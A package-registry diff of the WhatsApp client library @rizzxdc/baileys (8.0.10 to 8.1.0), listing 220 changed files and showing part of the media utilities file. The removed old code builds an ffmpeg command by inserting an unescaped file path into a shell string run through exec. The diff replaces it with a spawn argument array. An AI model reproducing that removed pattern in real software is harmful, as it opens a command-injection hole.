@rizzxdc/baileys 8.0.10 → 8.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/LICENSE +4 -2
  2. package/README.md +107 -245
  3. package/WAProto/index.d.ts +15795 -0
  4. package/WAProto/index.js +25587 -4867
  5. package/lib/Defaults/index.d.ts +147 -0
  6. package/lib/Defaults/index.js +134 -104
  7. package/lib/Signal/Group/ciphertext-message.d.ts +10 -0
  8. package/lib/Signal/Group/ciphertext-message.js +9 -11
  9. package/lib/Signal/Group/group-session-builder.d.ts +8 -0
  10. package/lib/Signal/Group/group-session-builder.js +5 -8
  11. package/lib/Signal/Group/group_cipher.d.ts +11 -0
  12. package/lib/Signal/Group/group_cipher.js +72 -75
  13. package/lib/Signal/Group/index.d.ts +12 -0
  14. package/lib/Signal/Group/index.js +11 -13
  15. package/lib/Signal/Group/keyhelper.d.ts +7 -0
  16. package/lib/Signal/Group/keyhelper.js +11 -14
  17. package/lib/Signal/Group/sender-chain-key.d.ts +14 -0
  18. package/lib/Signal/Group/sender-chain-key.js +23 -26
  19. package/lib/Signal/Group/sender-key-distribution-message.d.ts +17 -0
  20. package/lib/Signal/Group/sender-key-distribution-message.js +58 -61
  21. package/lib/Signal/Group/sender-key-message.d.ts +19 -0
  22. package/lib/Signal/Group/sender-key-message.js +61 -64
  23. package/lib/Signal/Group/sender-key-name.d.ts +12 -0
  24. package/lib/Signal/Group/sender-key-name.js +39 -44
  25. package/lib/Signal/Group/sender-key-record.d.ts +13 -0
  26. package/lib/Signal/Group/sender-key-record.js +35 -38
  27. package/lib/Signal/Group/sender-key-state.d.ts +17 -0
  28. package/lib/Signal/Group/sender-key-state.js +76 -79
  29. package/lib/Signal/Group/sender-message-key.d.ts +12 -0
  30. package/lib/Signal/Group/sender-message-key.js +23 -26
  31. package/lib/Signal/libsignal.d.ts +55 -0
  32. package/lib/Signal/libsignal.js +414 -308
  33. package/lib/Signal/lid-mapping.d.ts +21 -0
  34. package/lib/Signal/lid-mapping.js +270 -149
  35. package/lib/Socket/Client/index.d.ts +3 -0
  36. package/lib/Socket/Client/index.js +2 -4
  37. package/lib/Socket/Client/types.d.ts +6 -0
  38. package/lib/Socket/Client/types.js +8 -11
  39. package/lib/Socket/Client/websocket.d.ts +13 -0
  40. package/lib/Socket/Client/websocket.js +51 -50
  41. package/lib/Socket/business.d.ts +395 -0
  42. package/lib/Socket/business.js +357 -355
  43. package/lib/Socket/chats.d.ts +137 -0
  44. package/lib/Socket/chats.js +1195 -867
  45. package/lib/Socket/communities.d.ts +562 -0
  46. package/lib/Socket/communities.js +416 -398
  47. package/lib/Socket/dugong.js +8 -1
  48. package/lib/Socket/groups.d.ts +286 -0
  49. package/lib/Socket/groups.js +336 -301
  50. package/lib/Socket/index.d.ts +530 -0
  51. package/lib/Socket/index.js +8 -13
  52. package/lib/Socket/messages-recv.d.ts +334 -0
  53. package/lib/Socket/messages-recv.js +1729 -1121
  54. package/lib/Socket/messages-send.d.ts +330 -0
  55. package/lib/Socket/messages-send.js +684 -462
  56. package/lib/Socket/mex.d.ts +2 -0
  57. package/lib/Socket/mex.js +36 -40
  58. package/lib/Socket/newsletter.d.ts +284 -0
  59. package/lib/Socket/newsletter.js +247 -237
  60. package/lib/Socket/socket.d.ts +61 -0
  61. package/lib/Socket/socket.js +968 -790
  62. package/lib/Store/index.d.ts +4 -0
  63. package/lib/Store/index.js +4 -6
  64. package/lib/Store/make-cache-manager-store.js +2 -2
  65. package/lib/Store/make-in-memory-store.d.ts +63 -0
  66. package/lib/Store/make-in-memory-store.js +414 -284
  67. package/lib/Store/make-ordered-dictionary.d.ts +13 -0
  68. package/lib/Store/make-ordered-dictionary.js +75 -76
  69. package/lib/Store/object-repository.d.ts +11 -0
  70. package/lib/Store/object-repository.js +21 -23
  71. package/lib/Types/Auth.d.ts +2 -0
  72. package/lib/Types/Auth.js +0 -2
  73. package/lib/Types/Bussines.d.ts +2 -0
  74. package/lib/Types/Bussines.js +0 -2
  75. package/lib/Types/Call.d.ts +2 -0
  76. package/lib/Types/Call.js +0 -2
  77. package/lib/Types/Chat.d.ts +2 -0
  78. package/lib/Types/Chat.js +5 -7
  79. package/lib/Types/Contact.d.ts +2 -0
  80. package/lib/Types/Contact.js +0 -2
  81. package/lib/Types/Events.d.ts +2 -0
  82. package/lib/Types/Events.js +1 -3
  83. package/lib/Types/GroupMetadata.d.ts +2 -0
  84. package/lib/Types/GroupMetadata.js +0 -2
  85. package/lib/Types/Label.d.ts +3 -0
  86. package/lib/Types/Label.js +21 -22
  87. package/lib/Types/LabelAssociation.d.ts +3 -0
  88. package/lib/Types/LabelAssociation.js +3 -4
  89. package/lib/Types/Message.d.ts +12 -0
  90. package/lib/Types/Message.js +11 -6
  91. package/lib/Types/Mex.d.ts +3 -0
  92. package/lib/Types/Mex.js +38 -0
  93. package/lib/Types/Product.d.ts +2 -0
  94. package/lib/Types/Product.js +0 -2
  95. package/lib/Types/RichType.d.ts +3 -0
  96. package/lib/Types/RichType.js +22 -0
  97. package/lib/Types/Signal.d.ts +2 -0
  98. package/lib/Types/Signal.js +1 -3
  99. package/lib/Types/Socket.d.ts +2 -0
  100. package/lib/Types/Socket.js +1 -4
  101. package/lib/Types/State.d.ts +6 -0
  102. package/lib/Types/State.js +52 -8
  103. package/lib/Types/USync.d.ts +2 -0
  104. package/lib/Types/USync.js +1 -3
  105. package/lib/Types/index.d.ts +14 -0
  106. package/lib/Types/index.js +22 -25
  107. package/lib/Utils/auth-utils.d.ts +58 -0
  108. package/lib/Utils/auth-utils.js +285 -203
  109. package/lib/Utils/browser-utils.d.ts +9 -0
  110. package/lib/Utils/browser-utils.js +21 -19
  111. package/lib/Utils/business.d.ts +50 -0
  112. package/lib/Utils/business.js +206 -209
  113. package/lib/Utils/chat-utils.d.ts +409 -0
  114. package/lib/Utils/chat-utils.js +825 -706
  115. package/lib/Utils/companion-reg-client-utils.d.ts +5 -0
  116. package/lib/Utils/companion-reg-client-utils.js +39 -0
  117. package/lib/Utils/crypto.d.ts +40 -0
  118. package/lib/Utils/crypto.js +88 -101
  119. package/lib/Utils/decode-wa-message.d.ts +84 -0
  120. package/lib/Utils/decode-wa-message.js +287 -238
  121. package/lib/Utils/event-buffer.d.ts +13 -0
  122. package/lib/Utils/event-buffer.js +602 -509
  123. package/lib/Utils/generics.d.ts +64 -0
  124. package/lib/Utils/generics.js +334 -295
  125. package/lib/Utils/history.d.ts +76 -0
  126. package/lib/Utils/history.js +125 -79
  127. package/lib/Utils/identity-change-handler.d.ts +14 -0
  128. package/lib/Utils/identity-change-handler.js +49 -0
  129. package/lib/Utils/index.d.ts +25 -0
  130. package/lib/Utils/index.js +25 -21
  131. package/lib/Utils/link-preview.d.ts +13 -0
  132. package/lib/Utils/link-preview.js +73 -70
  133. package/lib/Utils/logger.d.ts +3 -0
  134. package/lib/Utils/logger.js +1 -4
  135. package/lib/Utils/lt-hash.d.ts +7 -0
  136. package/lib/Utils/lt-hash.js +7 -45
  137. package/lib/Utils/make-mutex.d.ts +7 -0
  138. package/lib/Utils/make-mutex.js +27 -31
  139. package/lib/Utils/message-retry-manager.d.ts +80 -0
  140. package/lib/Utils/message-retry-manager.js +165 -14
  141. package/lib/Utils/messages-media.d.ts +137 -0
  142. package/lib/Utils/messages-media.js +768 -572
  143. package/lib/Utils/messages.d.ts +46 -0
  144. package/lib/Utils/messages.js +1082 -130
  145. package/lib/Utils/noise-handler.d.ts +21 -0
  146. package/lib/Utils/noise-handler.js +191 -135
  147. package/lib/Utils/offline-node-processor.d.ts +10 -0
  148. package/lib/Utils/offline-node-processor.js +39 -0
  149. package/lib/Utils/pre-key-manager.d.ts +26 -0
  150. package/lib/Utils/pre-key-manager.js +96 -76
  151. package/lib/Utils/process-message.d.ts +84 -0
  152. package/lib/Utils/process-message.js +718 -311
  153. package/lib/Utils/reporting-utils.d.ts +13 -0
  154. package/lib/Utils/reporting-utils.js +257 -0
  155. package/lib/Utils/rich-message-utils.d.ts +49 -0
  156. package/lib/Utils/rich-message-utils.js +257 -0
  157. package/lib/Utils/signal.d.ts +83 -0
  158. package/lib/Utils/signal.js +174 -135
  159. package/lib/Utils/stanza-ack.d.ts +17 -0
  160. package/lib/Utils/stanza-ack.js +37 -0
  161. package/lib/Utils/sync-action-utils.d.ts +3 -0
  162. package/lib/Utils/sync-action-utils.js +48 -0
  163. package/lib/Utils/tc-token-utils.d.ts +30 -0
  164. package/lib/Utils/tc-token-utils.js +162 -0
  165. package/lib/Utils/use-multi-file-auth-state.d.ts +11 -0
  166. package/lib/Utils/use-multi-file-auth-state.js +104 -95
  167. package/lib/Utils/use-single-file-auth-state.d.ts +11 -0
  168. package/lib/Utils/use-single-file-auth-state.js +108 -0
  169. package/lib/Utils/use-sqlite-auth-state.d.ts +11 -0
  170. package/lib/Utils/use-sqlite-auth-state.js +108 -0
  171. package/lib/Utils/validate-connection.d.ts +44 -0
  172. package/lib/Utils/validate-connection.js +182 -180
  173. package/lib/WABinary/constants.d.ts +62 -0
  174. package/lib/WABinary/constants.js +1455 -1292
  175. package/lib/WABinary/decode.d.ts +10 -0
  176. package/lib/WABinary/decode.js +249 -228
  177. package/lib/WABinary/encode.d.ts +3 -0
  178. package/lib/WABinary/encode.js +207 -206
  179. package/lib/WABinary/generic-utils.d.ts +77 -0
  180. package/lib/WABinary/generic-utils.js +135 -99
  181. package/lib/WABinary/index.d.ts +6 -0
  182. package/lib/WABinary/index.js +5 -7
  183. package/lib/WABinary/jid-utils.d.ts +29 -0
  184. package/lib/WABinary/jid-utils.js +80 -78
  185. package/lib/WABinary/types.d.ts +2 -0
  186. package/lib/WABinary/types.js +1 -3
  187. package/lib/WAM/BinaryInfo.d.ts +8 -0
  188. package/lib/WAM/BinaryInfo.js +7 -9
  189. package/lib/WAM/constants.d.ts +34927 -0
  190. package/lib/WAM/constants.js +22847 -22848
  191. package/lib/WAM/encode.d.ts +2 -0
  192. package/lib/WAM/encode.js +129 -134
  193. package/lib/WAM/index.d.ts +4 -0
  194. package/lib/WAM/index.js +3 -5
  195. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +37 -0
  196. package/lib/WAUSync/Protocols/USyncContactProtocol.js +48 -27
  197. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +23 -0
  198. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +48 -48
  199. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +13 -0
  200. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +23 -26
  201. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +13 -0
  202. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +33 -35
  203. package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +10 -0
  204. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +24 -0
  205. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +39 -0
  206. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +46 -49
  207. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +15 -0
  208. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +23 -25
  209. package/lib/WAUSync/Protocols/index.d.ts +6 -0
  210. package/lib/WAUSync/Protocols/index.js +5 -6
  211. package/lib/WAUSync/USyncQuery.d.ts +21 -0
  212. package/lib/WAUSync/USyncQuery.js +92 -85
  213. package/lib/WAUSync/USyncUser.d.ts +17 -0
  214. package/lib/WAUSync/USyncUser.js +28 -22
  215. package/lib/WAUSync/index.d.ts +4 -0
  216. package/lib/WAUSync/index.js +3 -5
  217. package/lib/index.d.ts +12 -0
  218. package/lib/index.js +31 -19
  219. package/package.json +12 -6
  220. package/lib/Types/Newsletter.js +0 -33
@@ -1,646 +1,842 @@
1
- //=======================================================//
2
- import { getBinaryNodeChild, getBinaryNodeChildBuffer, jidNormalizedUser } from "../WABinary/index.js";
3
- import { DEFAULT_ORIGIN, MEDIA_HKDF_KEY_MAPPING, MEDIA_PATH_MAP } from "../Defaults/index.js";
4
- import { createReadStream, createWriteStream, promises as fs, WriteStream } from "fs";
5
- import { aesDecryptGCM, aesEncryptGCM, hkdf } from "./crypto.js";
6
- import { generateMessageIDV2 } from "./generics.js";
7
- import { proto } from "../../WAProto/index.js";
8
- import { Readable, Transform } from "stream";
9
- import { exec } from "child_process";
10
- import { Boom } from "@hapi/boom";
11
- import * as Crypto from "crypto";
12
- import { once } from "events";
13
- import { tmpdir } from "os";
14
- import { join } from "path";
15
- import { URL } from "url";
16
- import Jimp from "jimp";
17
- //=======================================================//
1
+ import { Boom } from '@hapi/boom';
2
+ import { spawn } from 'child_process';
3
+ import * as Crypto from 'crypto';
4
+ import { once } from 'events';
5
+ import { createReadStream, createWriteStream, promises as fs, WriteStream } from 'fs';
6
+ import { tmpdir } from 'os';
7
+ import { join } from 'path';
8
+ import { Readable, Transform } from 'stream';
9
+ import { URL } from 'url';
10
+ import { proto } from '../../WAProto/index.js';
11
+ import { DEFAULT_ORIGIN, MEDIA_HKDF_KEY_MAPPING, MEDIA_PATH_MAP, NEWSLETTER_MEDIA_PATH_MAP } from '../Defaults/index.js';
12
+ import { getBinaryNodeChild, getBinaryNodeChildBuffer, jidNormalizedUser } from '../WABinary/index.js';
13
+ import { aesDecryptGCM, aesEncryptGCM, hkdf } from './crypto.js';
14
+ import { generateMessageIDV2 } from './generics.js';
18
15
  const getTmpFilesDirectory = () => tmpdir();
19
- //=======================================================//
16
+ let imageProcessingLibrary;
17
+ export const getImageProcessingLibrary = async () => {
18
+ if (imageProcessingLibrary) {
19
+ return imageProcessingLibrary;
20
+ }
21
+ //@ts-ignore
22
+ const [sharp, image, jimp] = await Promise.all([
23
+ import('sharp').catch(() => { }),
24
+ import('@napi-rs/image').catch(() => { }),
25
+ import('jimp').catch(() => { })
26
+ ]);
27
+ if (sharp) {
28
+ imageProcessingLibrary = { sharp };
29
+ }
30
+ else if (image) {
31
+ imageProcessingLibrary = { image };
32
+ }
33
+ else if (jimp) {
34
+ imageProcessingLibrary = { jimp };
35
+ }
36
+ else {
37
+ throw new Boom('No image processing library available');
38
+ }
39
+ return imageProcessingLibrary;
40
+ };
20
41
  export const hkdfInfoKey = (type) => {
21
- const hkdfInfo = MEDIA_HKDF_KEY_MAPPING[type];
22
- return `WhatsApp ${hkdfInfo} Keys`;
42
+ const hkdfInfo = MEDIA_HKDF_KEY_MAPPING[type];
43
+ return `WhatsApp ${hkdfInfo} Keys`;
23
44
  };
24
- //=======================================================//
25
45
  export const getRawMediaUploadData = async (media, mediaType, logger) => {
26
- const { stream } = await getStream(media);
27
- logger?.debug("got stream for raw upload");
28
- const hasher = Crypto.createHash("sha256");
29
- const filePath = join(tmpdir(), mediaType + generateMessageIDV2());
30
- const fileWriteStream = createWriteStream(filePath);
31
- let fileLength = 0;
32
- try {
33
- for await (const data of stream) {
34
- fileLength += data.length;
35
- hasher.update(data);
36
- if (!fileWriteStream.write(data)) {
37
- await once(fileWriteStream, "drain");
38
- }
39
- }
40
- fileWriteStream.end();
41
- await once(fileWriteStream, "finish");
42
- stream.destroy();
43
- const fileSha256 = hasher.digest();
44
- logger?.debug("hashed data for raw upload");
45
- return {
46
- filePath: filePath,
47
- fileSha256,
48
- fileLength
49
- };
50
- }
51
- catch (error) {
52
- fileWriteStream.destroy();
53
- stream.destroy();
46
+ const { stream } = await getStream(media);
47
+ logger?.debug('got stream for raw upload');
48
+ const hasher = Crypto.createHash('sha256');
49
+ const filePath = join(tmpdir(), mediaType + generateMessageIDV2());
50
+ const fileWriteStream = createWriteStream(filePath);
51
+ let fileLength = 0;
54
52
  try {
55
- await fs.unlink(filePath);
53
+ for await (const data of stream) {
54
+ fileLength += data.length;
55
+ hasher.update(data);
56
+ if (!fileWriteStream.write(data)) {
57
+ await once(fileWriteStream, 'drain');
58
+ }
59
+ }
60
+ fileWriteStream.end();
61
+ await once(fileWriteStream, 'finish');
62
+ stream.destroy();
63
+ const fileSha256 = hasher.digest();
64
+ logger?.debug('hashed data for raw upload');
65
+ return {
66
+ filePath: filePath,
67
+ fileSha256,
68
+ fileLength
69
+ };
56
70
  }
57
- catch {
71
+ catch (error) {
72
+ fileWriteStream.destroy();
73
+ stream.destroy();
74
+ try {
75
+ await fs.unlink(filePath);
76
+ }
77
+ catch {
78
+ //
79
+ }
80
+ throw error;
58
81
  }
59
- throw error;
60
- }
61
82
  };
62
- //=======================================================//
83
+ /** generates all the keys required to encrypt/decrypt & sign a media message */
63
84
  export async function getMediaKeys(buffer, mediaType) {
64
- if (!buffer) {
65
- throw new Boom("Cannot derive from empty media key");
66
- }
67
- if (typeof buffer === "string") {
68
- buffer = Buffer.from(buffer.replace("data:;base64,", ""), "base64");
69
- }
70
- const expandedMediaKey = await hkdf(buffer, 112, { info: hkdfInfoKey(mediaType) });
71
- return {
72
- iv: expandedMediaKey.slice(0, 16),
73
- cipherKey: expandedMediaKey.slice(16, 48),
74
- macKey: expandedMediaKey.slice(48, 80)
75
- };
85
+ if (!buffer) {
86
+ throw new Boom('Cannot derive from empty media key');
87
+ }
88
+ if (typeof buffer === 'string') {
89
+ buffer = Buffer.from(buffer.replace('data:;base64,', ''), 'base64');
90
+ }
91
+ // expand using HKDF to 112 bytes, also pass in the relevant app info
92
+ const expandedMediaKey = hkdf(buffer, 112, { info: hkdfInfoKey(mediaType) });
93
+ return {
94
+ iv: expandedMediaKey.slice(0, 16),
95
+ cipherKey: expandedMediaKey.slice(16, 48),
96
+ macKey: expandedMediaKey.slice(48, 80)
97
+ };
76
98
  }
77
- //=======================================================//
78
- const extractVideoThumb = async (path, destPath, time, size) => new Promise((resolve, reject) => {
79
- const cmd = `ffmpeg -ss ${time} -i ${path} -y -vf scale=${size.width}:-1 -vframes 1 -f image2 ${destPath}`;
80
- exec(cmd, err => {
81
- if (err) {
82
- reject(err);
99
+ /** Extracts video thumb using FFMPEG */
100
+ export const extractVideoThumb = async (path, time, size) => {
101
+ const ffmpeg = spawn('ffmpeg', [
102
+ '-loglevel', 'error',
103
+ '-ss', String(time),
104
+ '-i', path,
105
+ '-an', '-sn', '-dn',
106
+ '-map_metadata', '-1',
107
+ '-vf', `scale=${size.width}:-1`,
108
+ '-frames:v', '1',
109
+ '-c:v', 'mjpeg',
110
+ '-f', 'image2pipe',
111
+ 'pipe:1'
112
+ ], {
113
+ stdio: ['ignore', 'pipe', 'pipe']
114
+ });
115
+ let buffer = Buffer.alloc(0);
116
+ const stderrChunks = [];
117
+ ffmpeg.stdout.on('data', (chunk) => {
118
+ buffer = Buffer.concat([buffer, chunk]);
119
+ });
120
+ ffmpeg.stderr.on('data', (chunk) => stderrChunks.push(chunk));
121
+ const [code] = await once(ffmpeg, 'close');
122
+ if (code !== 0) {
123
+ throw new Boom(`FFmpeg failed (code ${code}):\n` +
124
+ Buffer.concat(stderrChunks).toString('utf8'));
125
+ }
126
+ return buffer;
127
+ };
128
+ export const extractImageThumb = async (bufferOrFilePath, width = 32) => {
129
+ // TODO: Move entirely to sharp, removing jimp as it supports readable streams
130
+ // This will have positive speed and performance impacts as well as minimizing RAM usage.
131
+ if (bufferOrFilePath instanceof Readable) {
132
+ bufferOrFilePath = await toBuffer(bufferOrFilePath);
133
+ }
134
+ const lib = await getImageProcessingLibrary();
135
+ if ('sharp' in lib && lib.sharp?.default) {
136
+ const img = lib.sharp.default(bufferOrFilePath);
137
+ const dimensions = await img.metadata();
138
+ const buffer = await img.resize(width).jpeg({ quality: 50 }).toBuffer();
139
+ return {
140
+ buffer,
141
+ original: {
142
+ width: dimensions.width,
143
+ height: dimensions.height
144
+ }
145
+ };
146
+ }
147
+ else if ('image' in lib && lib.image?.Transformer) {
148
+ if (!Buffer.isBuffer(bufferOrFilePath)) {
149
+ bufferOrFilePath = await fs.readFile(bufferOrFilePath);
150
+ }
151
+ const img = new lib.image.Transformer(bufferOrFilePath);
152
+ const dimensions = await img.metadata();
153
+ const buffer = await img.resize(width, undefined, 0).jpeg(50);
154
+ return {
155
+ buffer,
156
+ original: {
157
+ width: dimensions.width,
158
+ height: dimensions.height
159
+ }
160
+ };
161
+ }
162
+ else if ('jimp' in lib && lib.jimp?.Jimp) {
163
+ const jimp = await lib.jimp.Jimp.read(bufferOrFilePath);
164
+ const dimensions = {
165
+ width: jimp.width,
166
+ height: jimp.height
167
+ };
168
+ const buffer = await jimp
169
+ .resize({ w: width, mode: lib.jimp.ResizeStrategy.BILINEAR })
170
+ .getBuffer('image/jpeg', { quality: 50 });
171
+ return {
172
+ buffer,
173
+ original: dimensions
174
+ };
83
175
  }
84
176
  else {
85
- resolve();
177
+ throw new Boom('No image processing library available');
86
178
  }
87
- });
88
- });
89
- //=======================================================//
90
- export const extractImageThumb = async (bufferOrFilePath, width = 32) => {
91
- if (bufferOrFilePath instanceof Readable) {
92
- bufferOrFilePath = await toBuffer(bufferOrFilePath);
93
- }
94
- const image = await Jimp.read(bufferOrFilePath);
95
- const dimensions = { width: image.bitmap.width, height: image.bitmap.height };
96
- const resized = image.resize(width, Jimp.RESIZE_BILINEAR).quality(50);
97
- const buffer = await resized.getBufferAsync(Jimp.MIME_JPEG);
98
- return { buffer, original: dimensions };
99
179
  };
100
- //=======================================================//
101
- export const encodeBase64EncodedStringForUpload = (b64) => encodeURIComponent(b64.replace(/\+/g, "-").replace(/\//g, "_").replace(/\=+$/, ""));
180
+ export const encodeBase64EncodedStringForUpload = (b64) => encodeURIComponent(b64.replace(/\+/g, '-').replace(/\//g, '_').replace(/\=+$/, ''));
102
181
  export const generateProfilePicture = async (mediaUpload, dimensions) => {
103
- let buffer;
104
- const { width: w = 640, height: h = 640 } = dimensions || {};
105
- if (Buffer.isBuffer(mediaUpload)) {
106
- buffer = mediaUpload;
107
- } else {
108
- const { stream } = await getStream(mediaUpload);
109
- buffer = await toBuffer(stream);
110
- }
111
- const jimp = await Jimp.read(buffer);
112
- const min = Math.min(jimp.bitmap.width, jimp.bitmap.height);
113
- const cropped = jimp.crop(0, 0, min, min);
114
- const resized = cropped.resize(w, h, Jimp.RESIZE_BILINEAR).quality(50);
115
- const img = await resized.getBufferAsync(Jimp.MIME_JPEG);
116
- return { img };
182
+ let buffer;
183
+ const { width: w = 720, height: h = 720 } = dimensions || {};
184
+ if (Buffer.isBuffer(mediaUpload)) {
185
+ buffer = mediaUpload;
186
+ }
187
+ else {
188
+ // Use getStream to handle all WAMediaUpload types (Buffer, Stream, URL)
189
+ const { stream } = await getStream(mediaUpload);
190
+ // Convert the resulting stream to a buffer
191
+ buffer = await toBuffer(stream);
192
+ }
193
+ const lib = await getImageProcessingLibrary();
194
+ let img;
195
+ if ('sharp' in lib && lib.sharp?.default) {
196
+ img = lib.sharp
197
+ .default(buffer)
198
+ .resize(w, h)
199
+ .jpeg({
200
+ quality: 80
201
+ })
202
+ .toBuffer();
203
+ }
204
+ else if ('image' in lib && lib.image?.Transformer) {
205
+ img = new lib.image
206
+ .Transformer(buffer)
207
+ .resize(w, h, 0)
208
+ .jpeg(80);
209
+ }
210
+ else if ('jimp' in lib && lib.jimp?.Jimp) {
211
+ const jimp = await lib.jimp.Jimp.read(buffer);
212
+ const min = Math.min(jimp.width, jimp.height);
213
+ const cropped = jimp.crop({ x: 0, y: 0, w: min, h: min });
214
+ img = cropped.resize({ w, h, mode: lib.jimp.ResizeStrategy.BILINEAR }).getBuffer('image/jpeg', { quality: 80 });
215
+ }
216
+ else {
217
+ throw new Boom('No image processing library available');
218
+ }
219
+ return {
220
+ img: await img
221
+ };
117
222
  };
118
- //=======================================================//
223
+ /** gets the SHA256 of the given media message */
119
224
  export const mediaMessageSHA256B64 = (message) => {
120
- const media = Object.values(message)[0];
121
- return media?.fileSha256 && Buffer.from(media.fileSha256).toString("base64");
225
+ const media = Object.values(message)[0];
226
+ return media?.fileSha256 && Buffer.from(media.fileSha256).toString('base64');
122
227
  };
123
- //=======================================================//
124
228
  export async function getAudioDuration(buffer) {
125
- const musicMetadata = await import("music-metadata");
126
- let metadata;
127
- const options = {
128
- duration: true
129
- };
130
- if (Buffer.isBuffer(buffer)) {
131
- metadata = await musicMetadata.parseBuffer(buffer, undefined, options);
132
- }
133
- else if (typeof buffer === "string") {
134
- metadata = await musicMetadata.parseFile(buffer, options);
135
- }
136
- else {
137
- metadata = await musicMetadata.parseStream(buffer, undefined, options);
138
- }
139
- return metadata.format.duration;
140
- }
141
- //=======================================================//
142
- export async function getAudioWaveform(buffer, logger) {
143
- try {
144
- const { default: decoder } = await import("audio-decode");
145
- let audioData;
229
+ const musicMetadata = await import('music-metadata');
230
+ let metadata;
231
+ const options = {
232
+ duration: true
233
+ };
146
234
  if (Buffer.isBuffer(buffer)) {
147
- audioData = buffer;
235
+ metadata = await musicMetadata.parseBuffer(buffer, undefined, options);
148
236
  }
149
- else if (typeof buffer === "string") {
150
- const rStream = createReadStream(buffer);
151
- audioData = await toBuffer(rStream);
237
+ else if (typeof buffer === 'string') {
238
+ metadata = await musicMetadata.parseFile(buffer, options);
152
239
  }
153
240
  else {
154
- audioData = await toBuffer(buffer);
155
- }
156
- const audioBuffer = await decoder(audioData);
157
- const rawData = audioBuffer.getChannelData(0);
158
- const samples = 64;
159
- const blockSize = Math.floor(rawData.length / samples);
160
- const filteredData = [];
161
- for (let i = 0; i < samples; i++) {
162
- const blockStart = blockSize * i;
163
- let sum = 0;
164
- for (let j = 0; j < blockSize; j++) {
165
- sum = sum + Math.abs(rawData[blockStart + j]);
166
- }
167
- filteredData.push(sum / blockSize);
168
- }
169
- const multiplier = Math.pow(Math.max(...filteredData), -1);
170
- const normalizedData = filteredData.map(n => n * multiplier);
171
- const waveform = new Uint8Array(normalizedData.map(n => Math.floor(100 * n)));
172
- return waveform;
173
- }
174
- catch (e) {
175
- logger?.debug("Failed to generate waveform: " + e);
176
- }
241
+ metadata = await musicMetadata.parseStream(buffer, undefined, options);
242
+ }
243
+ return metadata.format.duration;
244
+ }
245
+ /**
246
+ referenced from and modifying https://github.com/wppconnect-team/wa-js/blob/main/src/chat/functions/prepareAudioWaveform.ts
247
+ */
248
+ export async function getAudioWaveform(buffer, logger) {
249
+ try {
250
+ // @ts-ignore
251
+ const { default: decoder } = await import('audio-decode');
252
+ let audioData;
253
+ if (Buffer.isBuffer(buffer)) {
254
+ audioData = buffer;
255
+ }
256
+ else if (typeof buffer === 'string') {
257
+ const rStream = createReadStream(buffer);
258
+ audioData = await toBuffer(rStream);
259
+ }
260
+ else {
261
+ audioData = await toBuffer(buffer);
262
+ }
263
+ const audioBuffer = await decoder(audioData);
264
+ const rawData = audioBuffer.getChannelData(0); // We only need to work with one channel of data
265
+ const samples = 64; // Number of samples we want to have in our final data set
266
+ const blockSize = Math.floor(rawData.length / samples); // the number of samples in each subdivision
267
+ const filteredData = [];
268
+ for (let i = 0; i < samples; i++) {
269
+ const blockStart = blockSize * i; // the location of the first sample in the block
270
+ let sum = 0;
271
+ for (let j = 0; j < blockSize; j++) {
272
+ sum = sum + Math.abs(rawData[blockStart + j]); // find the sum of all the samples in the block
273
+ }
274
+ filteredData.push(sum / blockSize); // divide the sum by the block size to get the average
275
+ }
276
+ // This guarantees that the largest data point will be set to 1, and the rest of the data will scale proportionally.
277
+ const multiplier = Math.pow(Math.max(...filteredData), -1);
278
+ const normalizedData = filteredData.map(n => n * multiplier);
279
+ // Generate waveform like WhatsApp
280
+ const waveform = new Uint8Array(normalizedData.map(n => Math.floor(100 * n)));
281
+ return waveform;
282
+ }
283
+ catch (e) {
284
+ logger?.debug('Failed to generate waveform: ' + e);
285
+ }
177
286
  }
178
- //=======================================================//
179
287
  export const toReadable = (buffer) => {
180
- const readable = new Readable({ read: () => { } });
181
- readable.push(buffer);
182
- readable.push(null);
183
- return readable;
288
+ const readable = new Readable({ read: () => { } });
289
+ readable.push(buffer);
290
+ readable.push(null);
291
+ return readable;
184
292
  };
185
- //=======================================================//
186
293
  export const toBuffer = async (stream) => {
187
- const chunks = [];
188
- for await (const chunk of stream) {
189
- chunks.push(chunk);
190
- }
191
- stream.destroy();
192
- return Buffer.concat(chunks);
294
+ const chunks = [];
295
+ for await (const chunk of stream) {
296
+ chunks.push(chunk);
297
+ }
298
+ stream.destroy();
299
+ return Buffer.concat(chunks);
193
300
  };
194
- //=======================================================//
195
301
  export const getStream = async (item, opts) => {
196
- if (Buffer.isBuffer(item)) {
197
- return { stream: toReadable(item), type: "buffer" };
198
- }
199
- if ("stream" in item) {
200
- return { stream: item.stream, type: "readable" };
201
- }
202
- const urlStr = item.url.toString();
203
- if (urlStr.startsWith("data:")) {
204
- const buffer = Buffer.from(urlStr.split(",")[1], "base64");
205
- return { stream: toReadable(buffer), type: "buffer" };
206
- }
207
- if (urlStr.startsWith("http://") || urlStr.startsWith("https://")) {
208
- return { stream: await getHttpStream(item.url, opts), type: "remote" };
209
- }
210
- return { stream: createReadStream(item.url), type: "file" };
302
+ if (Buffer.isBuffer(item)) {
303
+ return { stream: toReadable(item), type: 'buffer' };
304
+ }
305
+ if ('stream' in item) {
306
+ return { stream: item.stream, type: 'readable' };
307
+ }
308
+ const urlStr = item.url.toString();
309
+ if (urlStr.startsWith('data:')) {
310
+ const buffer = Buffer.from(urlStr.split(',')[1], 'base64');
311
+ return { stream: toReadable(buffer), type: 'buffer' };
312
+ }
313
+ if (urlStr.startsWith('http://') || urlStr.startsWith('https://')) {
314
+ return { stream: await getHttpStream(item.url, opts), type: 'remote' };
315
+ }
316
+ return { stream: createReadStream(item.url), type: 'file' };
211
317
  };
212
- //=======================================================//
318
+ /** generates a thumbnail for a given media, if required */
213
319
